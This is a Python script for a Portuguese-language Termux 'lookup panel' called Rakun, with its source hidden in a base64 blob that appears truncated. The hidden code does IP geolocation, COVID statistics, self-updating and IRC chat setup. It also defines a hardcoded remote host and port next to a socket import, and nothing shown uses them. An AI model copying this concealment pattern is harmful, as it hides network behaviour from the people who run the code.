t.changed_by_fk = 1 t.created_by_fk =1 # t.lat = fake.latitude() # t.lon = fake.longitude() db.s.add(t) db.s.commit() print "Danish Plaintiffs" fake = Factory.create('dk_DK') for _ in range(0,300): t = models.Plaintiff() t.firstname = fake.first_name() t.surname =fake.last_name() #t.service_number = fake.ssn() t.gender_fk = randint(1,2) # t.court_level_fk = 3 # t.court = fake.random(10) t.changed_by_fk = 1 t.created_by_fk = 1 # t.lat = fake.latitude() # t.lon = fake.longitude() db.s.add(t) db.s.commit() print "Witnesses" fake = Factory.create('es_ES') for _ in range(0,300): t = models.Witness() t.firstname = fake.first_name() t.surname =fake.last_name() #t.service_number = fake.ssn() t.gender_fk = randint(1,2) # t.court_level_fk = 3 # t.court = fake.random(10) t.changed_by_fk = 1 t.created_by_fk = 1 t.special = False # t.lat = fake.latitude() # t.lon = fake.longitude() db.s.add(t) db.s.commit() print "Law Firms" fake = Factory.create('es_ES') for _ in range(0,30): t = models.Lawfirm() t.name = fake.company() t.surname =fake.last_name() #t.service_number = fake.ssn() #t.gender_fk = randint(1,2) # t.court_level_fk = 3 # t.court = fake.random(10) # t.changed_by_fk = 1 # t.created_by_fk = 1 # t.special = False # t.lat = fake.latitude() # t.lon = fake.longitude() db.s.add(t) db.s.commit() print "Attorneys" fake = Factory.create('en_GB') for _ in range(0,100): t = models.Attorney() t.firstname = fake.first_name() t.surname =fake.last_name() #t.service_number = fake.ssn() t.lawfirm_member = randint(1,20) t.gender_fk = randint(1,2) t.bar_number = fake.ssn() t.call_to_bar_year = randint(1980,2016) # t.court_level_fk = 3 # t.court = fake.random(10) t.changed_by_fk = 1 t.created_by_fk = 1 # t.special = False # t.lat = fake.latitude() # t.lon = fake.longitude() db.s.add(t) db.s.commit() # print "Policemen" # fake = Factory.create('en_GB') # for _ in range(0,100): # t = models.Policeman() # t.firstname = fake.first_name() # t.surname =fake.last_name() # #t.service_number = fake.ssn() # t.lawfirm_member = randint(1,20) # t.gender_fk = randint(1,2) # t.bar_number = fake.ssn() # t.call_to_bar_year = randint(1980,2016) # # t.court_level_fk = 3 # # t.court = fake.random(10) # t.changed_by_fk = 1 # t.created_by_fk = 1 # # t.special = False # # t.lat = fake.latitude() # # t.lon = fake.longitude() # db.s.add(t) # db.s.commit() # print " Loading Cases" # for i in range(0, 1000): # cs = models.Case() # cs.changed_by_fk = 1; # cs.created_by_fk = 1; # cs.arrest_location = fake.city() # cs.arrest_narrative = fake.text(max_nb_chars=200) # cs.arresting_officer = fake.name() # cs.charge_date = fake.date_time_this_month() # cs.charge_description = fake.text(max_nb_chars=200) # cs.document_count = fake.random_digit_or_empty() # cs.first_hearing_date = fake.date_time_this_month() # cs.ob_numbern= fake.uuid4() # cs.report = fake.text(max_nb_chars=400) # cs.reporting_officer = fake.name() # # cs.case_category_id = 1 # cs.casetype_id = 1 # # db.s.add(cs) # db.s.commit() # # # # print " Loading Complaints" # for i in range(0, 1000): # cs = models.Complaint() # cs.changed_by_fk = 1; # cs.created_by_fk = 1; # cs.arrest_location = fake.city() # cs.arrest_narrative = fake.text(max_nb_chars=200) # cs.arresting_officer = fake.name() # cs.charge_date = fake.date_time_this_month() # cs.charge_description = fake.text(max_nb_chars=200) # cs.document_count = fake.random_digit_or_empty() # cs.first_hearing_date = fake.date_time_this_month() # cs.ob_numbern= fake.uuid4() # cs.report = fake.text(max_nb_chars=400) # cs.reporting_officer = fake.name() # # cs.case_category_id = 1 # cs.casetype_id = 1 # # db.s.add(cs) # db.s.commit()
65.88027
154
0.703228
7,449
39,067
3.508659
0.057994
0.059688
0.09374
0.115702
0.89987
0.888927
0.88204
0.871021
0.865856
0.86245
0
0.026203
0.113984
39,067
592
155
65.991554
0.728867
0.082653
0
0.219753
0
0
0.156387
0.002605
0
0
0
0
0
0
null
null
0
0.009877
null
null
0.02963
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
709be53fef1c907bbe7dad53b47d5de2bc988422
146
py
Python
tests/test_filas.py
fromant65/AAT
48c74c8ec305c0921400a39e2fc93b0cb487e916
[ "BSD-3-Clause" ]
null
null
null
tests/test_filas.py
fromant65/AAT
48c74c8ec305c0921400a39e2fc93b0cb487e916
[ "BSD-3-Clause" ]
4
2020-04-29T21:42:33.000Z
2020-04-30T13:01:03.000Z
tests/test_filas.py
fromant65/AAT
48c74c8ec305c0921400a39e2fc93b0cb487e916
[ "BSD-3-Clause" ]
null
null
null
from src.bingo import t_filas from src.bingo import carton2 #Testea que no haya filas vacias def test_filas(): assert t_filas(carton2()) == True
24.333333
34
0.773973
25
146
4.4
0.64
0.127273
0.218182
0.327273
0
0
0
0
0
0
0
0.016
0.143836
146
6
34
24.333333
0.864
0.212329
0
0
0
0
0
0
0
0
0
0
0.25
1
0.25
true
0
0.5
0
0.75
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
8
709c93a4b170529e4701904b09dfb6379107c80e
2,453
py
Python
napari_allencell_segmenter/_tests/widgets/collapsible_box_test.py
neuromusic/napari-allencell-segmenter
c732408023c828c07ec2a425f4f426174d94946b
[ "BSD-3-Clause" ]
null
null
null
napari_allencell_segmenter/_tests/widgets/collapsible_box_test.py
neuromusic/napari-allencell-segmenter
c732408023c828c07ec2a425f4f426174d94946b
[ "BSD-3-Clause" ]
null
null
null
napari_allencell_segmenter/_tests/widgets/collapsible_box_test.py
neuromusic/napari-allencell-segmenter
c732408023c828c07ec2a425f4f426174d94946b
[ "BSD-3-Clause" ]
null
null
null
import pytest from PyQt5.QtWidgets import QLabel, QPushButton, QVBoxLayout from napari_allencell_segmenter.widgets.collapsible_box import CollapsibleBox class TestCollapsibleBox: def setup_class(self): layout = QVBoxLayout() layout.addWidget(QLabel("This is a label")) layout.addWidget(QPushButton("This is a button")) self.collapsible_box = CollapsibleBox("1. Intensity Normalization", layout) def test_open(self): # Assert - box should be closed and contents hidden assert self.collapsible_box.isOpen is False assert self.collapsible_box.content_box.isHidden() is True assert self.collapsible_box.title_box.objectName() == "titleBoxClosed" # Act self.collapsible_box.open() # Assert - box should be open and contents visible assert self.collapsible_box.isOpen is True assert self.collapsible_box.content_box.isHidden() is False assert self.collapsible_box.title_box.objectName() == "" def test_close(self): # Arrange - box starts out open assert self.collapsible_box.isOpen is True assert self.collapsible_box.content_box.isHidden() is False assert self.collapsible_box.title_box.objectName() == "" # Act self.collapsible_box.close() # Assert - box should be closed and contents hidden assert self.collapsible_box.isOpen is False assert self.collapsible_box.content_box.isHidden() is True assert self.collapsible_box.title_box.objectName() == "titleBoxClosed" def test_toggle(self): # Arrange - Box starts out closed assert self.collapsible_box.isOpen is False assert self.collapsible_box.content_box.isHidden() is True assert self.collapsible_box.title_box.objectName() == "titleBoxClosed" # Act self.collapsible_box.toggle() # Assert - box should be open and contents visible assert self.collapsible_box.isOpen is True assert self.collapsible_box.content_box.isHidden() is False assert self.collapsible_box.title_box.objectName() == "" # Act self.collapsible_box.toggle() # Assert - box should be closed and contents hidden assert self.collapsible_box.isOpen is False assert self.collapsible_box.content_box.isHidden() is True assert self.collapsible_box.title_box.objectName() == "titleBoxClosed"
38.328125
83
0.698736
295
2,453
5.650847
0.183051
0.226755
0.280744
0.30234
0.770846
0.743251
0.743251
0.743251
0.743251
0.736053
0
0.001051
0.224215
2,453
63
84
38.936508
0.874934
0.132491
0
0.621622
0
0
0.053403
0
0
0
0
0
0.567568
1
0.108108
false
0
0.081081
0
0.216216
0
0
0
0
null
1
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
9
3b31e025461cf4535debce1b7efec2b756d6d77c
75,791
py
Python
tools.py
RakunOFC/RakunOFC-Painel
f3bd952b58790377692529bcc73abf68f524ebaf
[ "MIT" ]
1
2021-05-25T13:46:41.000Z
2021-05-25T13:46:41.000Z
tools.py
RakunOFC/RakunOFC-Painel
f3bd952b58790377692529bcc73abf68f524ebaf
[ "MIT" ]
1
2021-05-25T13:40:45.000Z
2021-05-25T13:40:45.000Z
tools.py
RakunOFC/RakunOFC-Painel
f3bd952b58790377692529bcc73abf68f524ebaf
[ "MIT" ]
null
null
null
import marshal, zlib import os, sys try: import base64 except: os.system("pip3 install base64") os.system("pip install base64") import base64 b = (base64.b64decode('''Z2xvYmFsIFIsIEIsIEMsIFksIEcsIFJULCBDWSwgQ08KQ08gPSAnXDAzM1ttJwpSID0gJ1wwMzNbMTszMW0nCkIgPSAnXDAzM1sxOzM0bScKQyA9ICdcMDMzWzE7MzdtJwpDWSA9ICdcMDMzWzE7MzZtJwpZID0gJ1wwMzNbMTszM20nCkcgPSAnXDAzM1sxOzMybScKUlQgPSAnXDAzM1s7MG0nCmltcG9ydCBvcywgYmFzZTY0LCByZXF1ZXN0cywgdGltZSwganNvbiwgcmUsIHJhbmRvbSwgcGxhdGZvcm0sIHN5cywgc2lnbmFsLCBhdGV4aXQsIGFyZ3BhcnNlLCBoYXNobGliLCB1cmxsaWIzLCBodG1sNWxpYiwgcHlmaWdsZXQKZnJvbSBweXR1YmUgaW1wb3J0IFlvdVR1YmUKIyBmcm9tIGZvcmRldi5nZW5lcmF0b3IgaW1wb3J0IHBlb3BsZSAjcHJlc2VudGUgcHJhIHF1ZW0gZXN0aXZlciBsZW5kbwpmcm9tIHRpbWUgaW1wb3J0IHNsZWVwCmZyb20gcmFuZG9tIGltcG9ydCByYW5kaW50CmZyb20gY29sb3JhbWEgaW1wb3J0IEZvcmUsIFN0eWxlCmZyb20gYnM0IGltcG9ydCBCZWF1dGlmdWxTb3VwCmltcG9ydCBodG1sNWxpYgppbXBvcnQgcGhvbmVudW1iZXJzCmZyb20gcGhvbmVudW1iZXJzIGltcG9ydCBjYXJyaWVyCmZyb20gcGhvbmVudW1iZXJzIGltcG9ydCBnZW9jb2Rlcgpmcm9tIHBob25lbnVtYmVycyBpbXBvcnQgdGltZXpvbmUKZnJvbSB1cmxsaWIucGFyc2UgaW1wb3J0IHVybGVuY29kZQpmcm9tIHJlIGltcG9ydCBzZWFyY2ggCmZyb20gc29ja2V0IGltcG9ydCAqCmZyb20gcmVxdWVzdHMgaW1wb3J0IHBvc3QKCmhvc3QgPSAnNDUuNzkuMzkuNjQnCnBvcnQgPSA1NTU1NQoKZGVmIHJla3QoKToKICAgaWYgcGxhdGZvcm0uc3lzdGVtKCkgPT0gIldpbmRvd3MiOgogICAgICB3ZWJicm93c2VyLm9wZW5fbmV3X3RhYigiaHR0cHM6Ly95b3V0dS5iZS8xb0FaVmFyaUF2ayIpCiAgIGVsc2U6CiAgICAgICBvcy5zeXN0ZW0oInRlcm11eC1vcGVuLXVybCBodHRwczovL3lvdXR1LmJlLzFvQVpWYXJpQXZrIikKCnJlc3VsdCA9IHB5ZmlnbGV0LmZpZ2xldF9mb3JtYXQoIlJha3VuIiwgZm9udCA9ICJjb3NtaWMiICApCgpkZWYgY2xlYXIoKToKICAgIG9zLnN5c3RlbSgnY2xzJyBpZiBvcy5uYW1lID09ICdudCcgZWxzZSAnY2xlYXInKQoKZGVmIGNsZWFyKCk6CiAgICBvcy5zeXN0ZW0oJ2NscycgaWYgb3MubmFtZSA9PSAnbnQnIGVsc2UgJ2NsZWFyJykKCmRlZiBhdHQoKToKCXRyeToKCQlpZiBfX25hbWVfXyA9PSAnX19tYWluX18nOgoJCQlvcy5zeXN0ZW0oImNsZWFyIikKCQkJcHJpbnQoZid7Q317R317cmVzdWx0fXtDfScpCgkJCXByaW50KGYne0N9W3tZfWl7Q31dIHtHfSBDaGVjYW5kbyBwb3IgYXR1YWxpemFjb2VzLi4uIHtDfScpCgkJCXVwZGF0ZSA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KCdnaXQgcHVsbCcsIHNoZWxsPVRydWUpCgkJCWlmICdBbHJlYWR5IHVwIHRvIGRhdGUnIG5vdCBpbiB1cGRhdGUuZGVjb2RlKCk6CgkJCQlwcmludChmJ3tDfVt7WX0qe0N9XSB7R31BdHVhbGl6YWNhbyBpbnN0YWxhZGEhXG57Q31be1l9KntDfV1SZWluaWNpYW5kbyBvIHBhaW5lbC4uLntDfScpCgkJCQlwcmludChmIntDfVt7R30re0N9XSBMb2FkaW5nOiIpCgkJCQkjYW5pbWF0aW9uID0gWyIxMCUiLCAiMjAlIiwgIjMwJSIsICI0MCUiLCAiNTAlIiwgIjYwJSIsICI3MCUiLCAiODAlIiwgIjkwJSIsICIxMDAlIl0KCQkJCWFuaW1hdGlvbiA9IFsiW+KWoOKWoeKWoeKWoeKWoeKWoeKWoeKWoeKWoeKWoV0iLCJb4pag4pag4pah4pah4pah4pah4pah4pah4pah4pahXSIsICJb4pag4pag4pag4pah4pah4pah4pah4pah4pah4pahXSIsICJb4pag4pag4pag4pag4pah4pah4pah4pah4pah4pahXSIsICJb4pag4pag4pag4pag4pag4pah4pah4pah4pah4pahXSIsICJb4pag4pag4pag4pag4pag4pag4pah4pah4pah4pahXSIsICJb4pag4pag4pag4pag4pag4pag4pag4pah4pah4pahXSIsICJb4pag4pag4pag4pag4pag4pag4pag4pag4pah4pahXSIsICJb4pag4pag4pag4pag4pag4pag4pag4pag4pag4pahXSIsICJb4pag4pag4pag4pag4pag4pag4pag4pag4pag4pagXSJdCgkJCQlmb3IgaSBpbiByYW5nZShsZW4oYW5pbWF0aW9uKSk6CgkJCQkJdGltZS5zbGVlcCgwLjIpCgkJCQkJc3lzLnN0ZG91dC53cml0ZSgiXHIiICsgYW5pbWF0aW9uW2kgJSBsZW4oYW5pbWF0aW9uKV0pCgkJCQlwcmludCgiXG4iKQoJCQkJdGltZS5zbGVlcCg1KQoJCQkJc3VicHJvY2Vzcy5ydW4oJ2NsZWFyJykKCQkJCXJlc3RhcnQoKQoJCQllbHNlOgoJCQkJcHJpbnQoZid7Q31be1l9aXtDfV0gTmVuaHVtYSBhdHVhbGl6YWNhbyBkaXNwb25pdmVsLicpCgkJCQl0aW1lLnNsZWVwKDIpCglleGNlcHQ6CgkJCXBhc3MKCmRlZiBjaGF0KCk6Cglvcy5zeXN0ZW0oInBrZyBpbnN0YWxsIGlyc3NpIC15IikKCW9zLnN5c3RlbSgiY2xlYXIiKQoJcHJpbnQoZid7Q317R317cmVzdWx0fXtDfScpCglwcmludChmJ3tDfVt7WX1pe0N9XSBUVVRPUklBTCBERSBDT01PIEVOVFJBUiBOTyBDSEFUJykKCXByaW50KGYne0N9W3tSfSt7Q31dIFJFQ09NRU5ETyBPIFVTTyBERSBWUE4nKQoJcHJpbnQoKQoJcHJpbnQoZid7Q31be0d9aXtDfV0gL2Nvbm5lY3QgY2hhdC5mcmVlbm9kZS5uZXQnKSAKCXByaW50KGYne0N9W3tHfWl7Q31dIC9uaWNrIChzZXUgbmlja25hbWUpJykKCXByaW50KGYne0N9W3tHfWl7Q31dIC9qb2luICNLaW55JykKCXByaW50KGYne0N9W3tSfWl7Q31dIFF1YW5kbyBmb3Igc2FpciwgZGlnaXRlIC9leGl0JykKCXBhdXNlID0gaW5wdXQoZid7Q317WX1BUEVSVEUgRU5URVIgUEFSQSBJUiBQUk8gQ0hBVHtDfScpCglvcy5zeXN0ZW0oImlyc3NpIikKCmRlZiBhb3Zpdm8oKToKICAgIHByaW50KGYne0N9e0d9e3Jlc3VsdH17Q30nKQogICAgcHJpbnQoZid7Q309PT17Un17Q30gTm90YXMgZGUgYW8gdml2byB7Q309PT17Un17Q30nKQogICAgcHJpbnQoKQogICAgcHJpbnQoZiJ7Q31be1J9KntDfV0gRXN0YSBwYXJ0ZSBmb2kgY3JpYWRhIHBhciBlc2NsYXJlY2VyIGFsZ3VtYXMgY29pc2FzIHNvYnJlIG8gc2NyaXB0LCBwZcOnbyBxdWUgZXNwZXJlbSBlIHBhcmVtIGRlIHZpciBubyBtZXUgUFYgcGVyZ3VudGFyIG8gbW90aXZvIGRlIHZvY8OqcyBuw6NvIGNvbnNlZ3VpcmVtIGNvbnN1bHRhci4iKQogICAgcHJpbnQoKQogICAgcHJpbnQoZiJ7Q31be1J9KntDfV0gQXMgY29uc3VsdGFzIHBvciBuw7ptZXJvIHBhcm91IHBlbGEgQVBJIGVzdGFyIHtDfVt7Un1PRkZ7Q31dLiBNYXMgY29uc2VndWkgdW0gbm92byBwYXRyb2NpbmFkb3IgcGFyYSBjb21wcmFyIHVtYSBkYXRhYmFzZSBlIHVtYSBBUEkiKQogICAgcHJpbnQoKQogICAgcHJpbnQoZiJ7Q31be0d9KntDfV0gTWluaGEgQ2hhdmUgUElYOiB7Q31be0d9MjI4NDYzZDctMGJlYy00NGJkLWJkZGQtYTc4MGQ5NTMwZjI3e0N9XSIpCiAgICBwcmludCgpCiAgICBwcmludChmIntDfVt7R30qe0N9XSBQYXJlbSBkZSB2aXIgbm8gbWV1IFBWIHBlcmd1bnRhciBjb21vIGNvbnN1bHRhIG91IHBvcnF1ZSBhcyBJbmZvcyBuw6NvIGNoZWdhbSwgZXUgdMO0IHNlbSBBUEkgcHJhIGVzc2FzIGNvbnN1bHRhcyEiKQogICAgcHJpbnQoKQogICAgcHJpbnQoZiJ7Q31be0d9KntDfV0ge0N9W3tHfVBob25lIEluZm9nYXtDfV0gLSBBIGZvcm1hIGRlIGNvbnN1bHRhIGRvIFBob25lSW5mb2dhIMOpIG8gRERJLCBEREQgZSBvIG51bWVybyhleDogNTUyMTk3OTE4MDUzMykuIHF1YW50byB1bSBudW1lcm8gdGl2ZXIgYXBlbmFzIDggZGlnaXRvcywgdm9jZSBkZXZlIGNvbG9jYXIgdW0gbm92ZSBuYSBmcmVudGUoZXg6IDU1IDgxIDnDl8OXw5fDly3Dl8OXw5fDlykuIikKICAgIHByaW50KCkKICAgIHByaW50KGYne0N9W3tHfSp7Q31dIFBhcmVtIGRlIHBlcmd1bnRhciBzZSBldSB0ZW5obyBvdXRybyBwYWluZWwsIGVzc2UgYXF1aSDDqSBvIG1ldSDDum5pY28sIGVsZSBzZW1wcmUgcmVjZWJlIGF0dWFsaXphw6fDo28sIGVsZSB0ZW0gdW1hIG9ww6fDo28gcGFyYSBhdHVhbGl6YXIsIMOpIHPDsyB1c2FyZW0hJykKICAgIHByaW50KCkKICAgIHByaW50KGYiUHLDs3hpbWEgQXR1YWxpemHDp8OjbyB7Q317Un1Ow4NPIHRlbSBkYXRhe0N9IikKICAgIHByaW50KCkKICAgIHBhdXNlID0gaW5wdXQoIlByZXNzaW9uZSBFbnRlciBwYXJhIHJldG9ybmFyIikKCgpkZWYgbm90ZXMoKToKICAgIHByaW50KGYne0N9e0d9e3Jlc3VsdH17Q30nKQogICAgcHJpbnQoZid7Q309PT17Un17Q30gTm90YXMgZGUgdmVyc8OjbyB7Q309PT17Un17Q30nKQogICAgcHJpbnQoZicnJwogICAgVmVyc8OjbyAzLjgKLU5vdmFzIEFQSXMgKGluY2x1c2l2ZSBBUElzIHBhZ2FzKQotQ29uZmlndXJhw6fDtWVzCi1Nb2RvIHNlbSBzZW5oYQotUmVtb8Onw6NvIGRlIG9ww6fDo28gaW7DunRpbAotT3RpbWl6YcOnw6NvIGRvIGPDs2RpZ28KLU5vdmEgb3DDp8OjbyBubyBtZW51CiAgICAgICAgCiAgICBDb2RhZG8gcG9yOiB7Q317Qn1ZQVRPe0N9CiAgICBBUElzICxpZGVpYSBlIGPDs2RpZ28gaW5pY2lhbDoge0N9e0J9S0lOWXtDfQogICAgQVBJIE1URSBlIGF1eGlsaW8gbm8gc2NyaXB0OiB7Q317Qn1wMGlzMG57Q30KICAgIFBhdHJvY2luaW86T2JyaWdhZG8ge0N9e0J9RG91Z2xhc3tDfSBlIHtDfXtCfU1hcmdhcmluYXtDfSBwZWxvIG1vbmV5IHByYSBmYXplciBvIHNjcmlwdC4KICAgIAogICAgT2JyaWdhZG8ge0N9e0J9U251a2luZ3tDfSwgcGVsbyBhcG9pbyBlIGFsZ3VtYXMgYWp1ZGFzOwogICAgCiAgICAnJycpCiAgICBwYXVzZSA9IGlucHV0KCdQcmVzc2lvbmUgZW50ZXIgcGFyYSByZXRvcm5hci4nKQoKZGVmIGNvdmlkMTkoKToKICAgIHByaW50KGYne0N9e0d9e3Jlc3VsdH17Q30nKQogICAgcHJpbnQoZid7Q31be1l9aXtDfV0gSW5mb3JtZSBvIFVGLiBFeGVtcGxvOiBzcCwgcGEsIGJhICcpCiAgICBjaG9pY2UgPSBpbnB1dCgnPT09PicpCiAgICBkYXRhID0gcmVxdWVzdHMuZ2V0KCdodHRwczovL2NvdmlkMTktYnJhemlsLWFwaS5ub3cuc2gvYXBpL3JlcG9ydC92MS9icmF6aWwvdWYve30nLmZvcm1hdChjaG9pY2UpKS5qc29uKCkKICAgIGNsZWFyKCkKICAgIHByaW50KHJlc3VsdCkKICAgIHByaW50KCJEYXRhIGUgaG9yYXJpbyBsb2NhbDoge30iLmZvcm1hdChkYXRhWydkYXRldGltZSddKSkKICAgIHByaW50KCJFc3RhZG86IHt9Ii5mb3JtYXQoZGF0YVsnc3RhdGUnXSkpCiAgICBwcmludCgiVUY6IHt9Ii5mb3JtYXQoZGF0YVsndWYnXSkpCiAgICBwcmludCgiVUlEOiB7fSIuZm9ybWF0KGRhdGFbJ3VpZCddKSkKICAgIHByaW50KCJDYXNvczoge30iLmZvcm1hdChkYXRhWydjYXNlcyddKSkKICAgIHByaW50KCJNb3J0ZXM6IHt9Ii5mb3JtYXQoZGF0YVsnZGVhdGhzJ10pKQogICAgcHJpbnQoIlN1c3BlaXRhczoge30iLmZvcm1hdChkYXRhWydzdXNwZWN0cyddKSkKICAgIHByaW50KCJSZWN1c2Fkb3M6IHt9Ii5mb3JtYXQoZGF0YVsncmVmdXNlcyddKSkKICAgIHBhdXNhID0gaW5wdXQoJ1ByZXNzaW9uZSBlbnRlciBwYXJhIHJldG9ybmFyIGFvIG1lbnUuJykKCgpkZWYgaXAoaXBfYXBpLCBtb2RlLCB0b2tlbik6CiAgICBwcmludChmJ3tDfXtHfXtyZXN1bHR9e0N9JykKICAgIGlmIGlwX2FwaSA9PSAwIG9yIGlwX2FwaSA9PSAyOgogICAgICAgIGlmIG1vZGUgPT0gMDoKICAgICAgICAgICAgZGF0YSA9IHJlcXVlc3RzLmdldCgnaHR0cDovL2lwLWFwaS5jb20vanNvbi8nKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIGlwX2lucHV0ID0gaW5wdXQoIj09PT4iKQogICAgICAgICAgICBkYXRhID0gcmVxdWVzdHMuZ2V0KCdodHRwOi8vaXAtYXBpLmNvbS9qc29uL3t9Jy5mb3JtYXQoaXBfaW5wdXQpKQogICAgICAgIGFkcmVzc19kYXRhID0gZGF0YS5qc29uKCkKICAgICAgICB3ZWF0aGVyX2RhdGEgPSByZXF1ZXN0cy5nZXQoCiAgICAgICAgICAgICdodHRwOi8vYXBpLm9wZW53ZWF0aGVybWFwLm9yZy9kYXRhLzIuNS93ZWF0aGVyP2xhdD17bGF0fSZsb249e2xvbn0mYXBwaWQ9e3Rva2VuWzJdfScpCiAgICAgICAgd2VhdGhlciA9IGpzb24ubG9hZHMod2VhdGhlcl9kYXRhLnRleHQpCiAgICAgICAgaWYgKGFkcmVzc19kYXRhWydzdGF0dXMnXSkgPT0gJ3N1Y2Nlc3MnOgogICAgICAgICAgICBwcmludCgnSVA6IHt9Jy5mb3JtYXQoYWRyZXNzX2RhdGFbJ3F1ZXJ5J10pKQogICAgICAgICAgICBwcmludCgnU3RhdHVzOiB7fScuZm9ybWF0KGFkcmVzc19kYXRhWydzdGF0dXMnXSkpCiAgICAgICAgICAgIHByaW50KCdQYWlzOiB7fScuZm9ybWF0KGFkcmVzc19kYXRhWydjb3VudHJ5J10pKQogICAgICAgICAgICBwcmludCgnUmVnaWFvOiB7fScuZm9ybWF0KGFkcmVzc19kYXRhWydyZWdpb25OYW1lJ10pKQogICAgICAgICAgICBwcmludCgnQ2lkYWRlOiB7fScuZm9ybWF0KGFkcmVzc19kYXRhWydjaXR5J10pKQogICAgICAgICAgICBwcmludCgnWklQOiB7fScuZm9ybWF0KGFkcmVzc19kYXRhWyd6aXAnXSkpCiAgICAgICAgICAgIHByaW50KCdMYXRpdHVkZToge30nLmZvcm1hdChhZHJlc3NfZGF0YVsnbGF0J10pKQogICAgICAgICAgICBwcmludCgnTG9uZ2l0dWRlOiB7fScuZm9ybWF0KGFkcmVzc19kYXRhWydsb24nXSkpCiAgICAgICAgICAgIHByaW50KCdGdXNvLUhvcmFycm86IHt9Jy5mb3JtYXQoYWRyZXNzX2RhdGFbJ3RpbWV6b25lJ10pKQogICAgICAgICAgICBwcmludCgnSW50ZXJuZXQtSW5mbzoge30nLmZvcm1hdChhZHJlc3NfZGF0YVsnYXMnXSkpCiAgICAgICAgICAgIHByaW50KCdJU1A6IHt9Jy5mb3JtYXQoYWRyZXNzX2RhdGFbJ2lzcCddKSkKICAgICAgICAgICAgcHJpbnQoJ09SRzoge30nLmZvcm1hdChhZHJlc3NfZGF0YVsnb3JnJ10pKQogICAgICAgICAgICAjIHByaW50KCdUZW1wZXJhdHVyYToge30nLmZvcm1hdCh3ZWF0aGVyWyJ3ZWF0aGVyIl1bIm1haW4iXSkpCiAgICBpZiBpcF9hcGkgPT0gMSBvciBpcF9hcGkgPT0gMjoKICAgICAgICBpZiBtb2RlID09IDE6CiAgICAgICAgICAgIGlwX2lucHV0ID0gaW5wdXQoIj09PT4iKQogICAgICAgICAgICBhcGkgPSByZXF1ZXN0cy5nZXQoJ2h0dHA6Ly9pcHdob2lzLmFwcC9qc29uLycgKyBpcF9pbnB1dCkuanNvbigpCiAgICAgICAgaWYgbW9kZSA9PSAwOgogICAgICAgICAgICBhcGkgPSByZXF1ZXN0cy5nZXQoJ2h0dHA6Ly9pcHdob2lzLmFwcC9qc29uLycpLmpzb24oKQogICAgICAgIGNsZWFyKCkKICAgICAgICBwcmludChmJ3tDfXtHfXtyZXN1bHR9e0N9JykKICAgICAgICB0cnk6CiAgICAgICAgICAgIGlmIGlwX2FwaSA9PSAxOgogICAgICAgICAgICAgICAgcHJpbnQoJ0lQOiB7fScuZm9ybWF0KGFwaVsnaXAnXSkpCiAgICAgICAgICAgIHByaW50KCdUSVBPOiB7fScuZm9ybWF0KGFwaVsndHlwZSddKSkKICAgICAgICAgICAgcHJpbnQoJ0NPTlRJTkVOVEU6IHt9Jy5mb3JtYXQoYXBpWydjb250aW5lbnQnXSkpCiAgICAgICAgICAgIHByaW50KCdDw5NESUdPIERPIENPTlRJTkVOVEU6IHt9Jy5mb3JtYXQoYXBpWydjb250aW5lbnRfY29kZSddKSkKICAgICAgICAgICAgcHJpbnQoJ1BBSVM6IHt9Jy5mb3JtYXQoYXBpWydjb3VudHJ5J10pKQogICAgICAgICAgICBwcmludCgnQ8OTRElHTyBETyBQQcONUzoge30nLmZvcm1hdChhcGlbJ2NvdW50cnknXSkpCiAgICAgICAgICAgIHByaW50KCdQQUlTOiB7fScuZm9ybWF0KGFwaVsnY291bnRyeSddKSkKICAgICAgICAgICAgcHJpbnQoJ0NBUElUQUwgRE8gUEFJUzoge30nLmZvcm1hdChhcGlbJ2NvdW50cnlfY2FwaXRhbCddKSkKICAgICAgICAgICAgcHJpbnQoJ0PDk0RJR08gVEVMRUbDlE5JQ08gRE8gUEHDjVM6IHt9Jy5mb3JtYXQoYXBpWydjb3VudHJ5X3Bob25lJ10pKQogICAgICAgICAgICBwcmludCgnUEFJU0VTIFZJWklOSE9TOiB7fScuZm9ybWF0KGFwaVsnY291bnRyeV9uZWlnaGJvdXJzJ10pKQogICAgICAgICAgICBwcmludCgnUkVHScODTzoge30nLmZvcm1hdChhcGlbJ3JlZ2lvbiddKSkKICAgICAgICAgICAgcHJpbnQoJ0NJREFERToge30nLmZvcm1hdChhcGlbJ2NpdHknXSkpCiAgICAgICAgICAgIHByaW50KCdMQVRJVFVERToge30nLmZvcm1hdChhcGlbJ2xhdGl0dWRlJ10pKQogICAgICAgICAgICBwcmludCgnTE9OR0lUVURFOiB7fScuZm9ybWF0KGFwaVsnbG9uZ2l0dWRlJ10pKQogICAgICAgICAgICBwcmludCgnQVNOOiB7fScuZm9ybWF0KGFwaVsnYXNuJ10pKQogICAgICAgICAgICBwcmludCgnT1JHOiB7fScuZm9ybWF0KGFwaVsnb3JnJ10pKQogICAgICAgICAgICBwcmludCgnSVNQOiB7fScuZm9ybWF0KGFwaVsnaXNwJ10pKQogICAgICAgICAgICBwcmludCgnSE9Sw4FSSU8gUEFEUsODTzoge30nLmZvcm1hdChhcGlbJ3RpbWV6b25lJ10pKQogICAgICAgICAgICBwcmludCgnTk9NRSBETyBIT1LDgVJJTyBQQURSw4NPOiB7fScuZm9ybWF0KGFwaVsndGltZXpvbmVfbmFtZSddKSkKICAgICAgICAgICAgcHJpbnQoJ0dNVDoge30nLmZvcm1hdChhcGlbJ3RpbWV6b25lX2dtdCddKSkKICAgICAgICAgICAgcHJpbnQoJ01PRURBOiB7fScuZm9ybWF0KGFwaVsnY3VycmVuY3knXSkpCiAgICAgICAgICAgIHByaW50KCdDw5NESUdPIERBIE1PRURBOiB7fScuZm9ybWF0KGFwaVsnY3VycmVuY3lfY29kZSddKSkKICAgICAgICAgICAgcHJpbnQoJ1NJTUJPTE8gREEgTU9FREE6IHt9Jy5mb3JtYXQoYXBpWydjdXJyZW5jeV9zeW1ib2wnXSkpCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwcmludChmJ3tDfVt7Un1FUlJPUntDfV0gSVAgSW52w6FsaWRvICcpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoMykKICAgICAgICAgICAg